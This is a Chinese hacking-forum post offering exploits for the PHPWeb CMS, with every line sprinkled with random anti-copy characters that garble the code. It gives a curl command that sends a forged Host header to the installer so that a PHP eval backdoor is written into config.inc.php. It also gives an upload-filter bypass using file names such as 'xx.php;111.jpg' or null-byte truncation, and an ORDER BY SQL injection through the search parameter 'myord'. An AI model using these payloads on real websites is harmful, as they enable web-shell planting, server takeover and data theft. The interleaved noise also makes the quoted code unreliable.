找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2860|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:* k1 ^/ P; [) C  |; l4 Z

2 J0 W# `" J3 w5 p+ V之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码/ W8 o& N. y! z9 t2 B+ H4 I

, q" W/ g' V9 H) Z4 W# w0 y8 _/ I鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件! j9 C1 j# E) ~7 f& i
鸡肋2: 有一定安全常识的站长都会删掉 install 目录' n6 D1 D" y9 A, M

5 Y* H  {% t% e1 I: E虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
, T5 o+ i- W2 F# f4 e
  g) G8 c2 t$ B! a分析:8 {4 R+ f4 U+ Z  {0 D5 c# k4 X
0 k2 c" Y; \1 Z$ G# k
) ?, x5 U8 B5 l9 A: D; T4 B
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
# @3 [% Q, a; y  n " f0 J. U' f3 u8 @. j2 j
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
! ]3 V7 V8 P0 A3 F                                            $filestr=str_replace(" ","",$filestr);
8 S) t) b9 }0 F7 `+ Q; ?- b2 U                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 b1 |! }# C9 f" e                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
" Z% ]- T  `, q7 V2 \( }9 j                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);/ \  b# @5 L. x
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
3 J2 [7 I1 J/ k8 \& g0 o( L                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);; z! `8 G  B  M
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);0 Y0 H; _* ~( S6 E1 d  q
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);+ L9 q0 T; S% X8 \9 I# N. L8 j

1 _8 n9 G+ X' ~- ]                                            fwrite(fopen($ConFile,"w"),$filestr,30000);  @8 ~* B  l7 T! L3 c
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
; G* f) g; h! P7 n + ^2 m1 m  R+ A& v' M
poc:. z( x* r! _, c5 F1 k

# Z. J) [& z( A?/ y; }1 t0 G$ p
1
4 Z* b& [# r$ k& u' r- P7 B, ncurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"# [6 x' f4 d* V- T: J6 B
shell地址: /config.inc.php/ v/ a% ~8 ~3 m1 D- x- o/ k% c
跟之前的 phpcms一样 需要远程数据库" |( ~5 V2 ]& h! q( X/ o
( \/ D5 r. J. b4 p
——————————————————–
- W# [* r8 Z/ \7 T# Y  V上传漏洞(需要进后台):
" `" F+ d. A/ u漏洞文件: /kedit/upload_cgi/upload.php6 ^# u& X  ^! S0 u4 o
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
( }  `- G- W8 R' b$ J6 u. C
$ x+ n; v* @3 g6 A7 m% ? " n: r( P3 T( x% c0 k# G% B
<?php. H+ R1 _, V1 z& z, D* {$ d+ _
    define("ROOTPATH", "../../");% j% H6 X6 C; Y8 g# r" R, @
    include(ROOTPATH."includes/admin.inc.php");$ Z0 `( \# K* Y4 _8 l0 Z
    NeedAuth(0);: P! q0 ~* ~5 s( [5 _% N% Q
8 }+ N2 C) T" U- I1 Q0 U
    $dt=date("Ymd",time());- M; s& x* r- V+ }$ G  {
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
. Y5 m2 w- I% g3 d            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
- B2 i( E$ E/ ?! P' U( w, ^2 i    }
4 A+ I0 m% C/ y! X, h1 Y ! Q3 z. @, S" c0 p7 C6 n
    //文件保存目录路径* f$ |" t3 F# A% T3 F& I- M
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
6 H: U9 N! ]; H' N    echo $save_path;
; }: W. r7 C1 c: c" \/ j& A, d    //文件保存目录URL/ w: E: N5 |6 W3 l
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';$ T" n/ [, K, ]
0 O- C# W7 W6 u0 M6 U
    //定义允许上传的文件扩展名, M6 O- O, B) J% ^+ q
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀& r0 W  m* o# L5 @; K# Q, G

$ i3 ^" b4 {% o  z" H( b9 D& W! v8 Q    //最大文件大小
. K% l2 c4 J$ F7 x6 Q    $max_size = 1000000;' @$ |( f) f* k, p" }: b! U
0 W) v* m1 ]: O" ~7 ^7 e
    //更改目录权限( W4 l9 z( h: z  [: G
    @mkdir($save_path, 0777);3 `  I' @( \' T

- f; f! M. p9 G3 L9 p6 X& f    //文件的全部路径' C. r& K) G. A) |  y, t
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
2 m, k3 Y4 ^* u. v
) E, p2 w+ T* y. V    //文件URL
- y$ b! m9 W& x0 X+ ^    $file_url = $save_url.$_POST['fileName'];. t" W7 I+ K2 |/ N. I
//有上传文件时; b8 u' _# A. f6 w" G
    if (empty($_FILES) === false) {2 }( B* p' [( }1 Z7 V. c
, N2 C) a" H* a9 N
            //原文件名
$ M4 |0 N5 w; h% p" i, ?8 @, S3 R: B            $file_name = $_FILES['fileData']['name'];3 H) S$ z2 x& F- {/ X
            //服务器上临时文件名
- i$ J4 y( H% n0 ^; V            $tmp_name = $_FILES['fileData']['tmp_name'];
5 S6 c$ D& H  Q# C# G            //文件大小; J' t/ q! h& r
            $file_size = $_FILES['fileData']['size'];% K) s2 y  I* g" K
            //检查目录" g: B: ^* L) G& U- d
            if (@is_dir($save_path) === false) {
# \, m$ q: i9 ]2 V                    alert("上传目录不存在。");9 Z; R" G0 b; a, u+ G; V
            }
9 N( b8 x% w0 x+ [            //检查目录写权限+ C0 L# g( H6 D) r9 o
            if (@is_writable($save_path) === false) {
( ]4 q  u% }( ?, a- U/ z                    alert("上传目录没有写权限。");
+ G( `) i# ?" k" h9 j1 L: ^            }
$ u( V+ l+ |5 c) z4 L1 ]            //检查是否已上传; X- N* z2 [" v' U
            if (@is_uploaded_file($tmp_name) === false) {
  A- }* N1 o. Q. x" X$ }                    alert("临时文件可能不是上传文件。");
" P' t1 p9 k$ B3 Y            }6 d& T5 D  |0 ]0 b; U- D
            //检查文件大小) B; \" J1 J( b- `: ]
            if ($file_size > $max_size) {1 ~: [( U  @; E% y9 [; s; Q$ D
                    alert("上传文件大小超过限制。");
  [6 u; ?" r8 e. b$ q6 `7 }            }
: @( P! P1 t4 P( h            //获得文件扩展名
$ W- L- k; M" r  I% ?" Q% V            $temp_arr = explode(".", $_POST['fileName']);
: B# ?4 D  X3 L/ q, G& Q2 ?' z2 S            $file_ext = array_pop($temp_arr);# K  \. ]2 b8 e+ w8 a. W
            $file_ext = trim($file_ext);$ `$ o. E& C& A: p# `
            $file_ext = strtolower($file_ext);5 T7 F7 l% `  d) B, P( ?

% l( D5 F/ V1 V            //检查扩展名   
+ `* Z' T8 ]9 }+ S0 v4 G9 r            if (in_array($file_ext, $ext_arr) === false) {     % V# G9 C0 L2 x% l
                    alert("上传文件扩展名是不允许的扩展名。");7 G. ]( m+ a3 K3 j" z
            }/ x1 M9 H5 Y( V) }* h
6 I, @& v- \$ Y( }0 o8 O( B4 ]1 G" P
            //移动文件   
: a- A, T! j6 q0 z: Y4 e6 J( f: d            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^# p% n' z, A8 Z/ ?9 p2 _
            if (move_uploaded_file($tmp_name, $file_path) === false) {
1 C8 K3 ^. b9 U; S3 _1 ]" p3 l                    alert("上传文件失败。");
. U" x' @* W+ n* s, N8 c9 e% d            }
* _( v5 T7 U. x! U% [% |
! `, n: P; X1 ]            @chmod($file_path,0666);8 ]8 e* h( b8 D+ `% U- F2 K
0 D1 ~, a/ _$ b4 S0 y0 j
    ?>
2 i4 @- K5 Z' ?5 b0 K+ n抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
) E1 r  H8 C% b; Y/ Z- |( x. u6 \+ U $ g9 L' Z$ M, q& q# C2 w
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
# e7 |- J, m( @# U: C3 O- ?2 W3 [" R   G, x: V  S, t* ?1 y
——————————————————
% v/ O5 e! v# \; z注入漏洞:+ n4 P5 S- a$ \4 }. L+ G
漏洞文件:search/module/search.php
) g2 V# D( H7 ]$ z* v/search/index.php?key=1&myord=1 [sqlinjection]: l8 `* p2 e* m1 _4 F: f9 U
5 Z) D+ G" p/ \# Y: d

6 G* b, h* C- K  _1 ^<?php
9 Z; y5 n( a0 }   //       ... 省略 n 行...# \# ?. Z3 e+ h
   //第18行:" O8 l, ~* j3 e: i7 M, W
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响* _& x, u  ~( N) q1 K& d! z
           $page=htmlspecialchars($_GET["page"]);
/ ]7 ?8 A- z& f5 K6 C& L           $myord=htmlspecialchars($_GET["myord"]);
& P7 |6 i3 }( M4 a , q7 }( v  A- G6 [2 c# M
   //       ... 省略 n 行...
, }4 O9 g/ V- v" P0 R1 c4 L   $key,$myord 两个参数带入查询% ]$ U' w. E* V, f2 l
   //第47行 $key:
! t  {: o: o9 j  U3 L) h7 j ; k! ^2 |8 P. u# H4 t. G+ c
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..3 z4 S4 C$ e/ S# U8 ?) }5 J& s
2 b' N) v  h- q- l& E
   //第197行 $myord
( M4 g$ x* `) C0 `: V3 x! S   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入' O1 \: o9 [0 q) m# p8 L7 v
3 P1 O7 W  z4 }
   ?>
3 s& j/ o& P$ }/ V2 Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表